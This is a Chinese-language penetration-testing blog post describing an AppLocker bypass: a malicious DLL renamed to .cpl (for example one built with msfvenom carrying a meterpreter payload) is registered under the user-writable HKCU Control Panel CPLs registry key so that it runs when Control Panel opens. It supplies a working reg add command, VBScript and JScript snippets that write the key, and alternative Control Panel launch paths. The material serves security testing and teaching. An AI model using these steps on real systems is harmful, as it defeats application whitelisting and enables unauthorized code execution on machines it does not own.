导语:使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法。

使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法。在Windows系统中,当用户打开控制面板时,会加载多个CPL文件。这些CPL文件的列表是从注册表中获得的。

Francesco Mifsud  发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。

HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs

问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。

1498137864638072.png

绕过AppLocker ——阻止 CMD 运行

第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。

以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls"
/v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"

1498137871902334.png

绕过AppLocker —— 将注册表键添加到注册表

如果cmd被禁用,可以使用注册表编辑器添加注册表项:

1498137878748705.png

注册表编辑器 – 添加CPL注册表键

Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。

VBScript:

const HKEY_CURRENT_USER = &H80000001
 
strComputer = "."
 
Set objReg=GetObject(
"winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")
 
strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs"
objReg.CreateKey HKEY_CURRENT_USER,strKeyPath
 
strValueName = "pentestlabCPL"
strValue = "C:pentestlabCPL.cpl"
objReg.SetStringValue
HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

Jscript:

var obj = WScript.CreateObject("WScript.Shell");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");

从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。

1498137905218007.png

AppLocker Bypass – 通过控制面板命令提示符

在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。

· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}

资源

https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/

源链接

Hacking more

...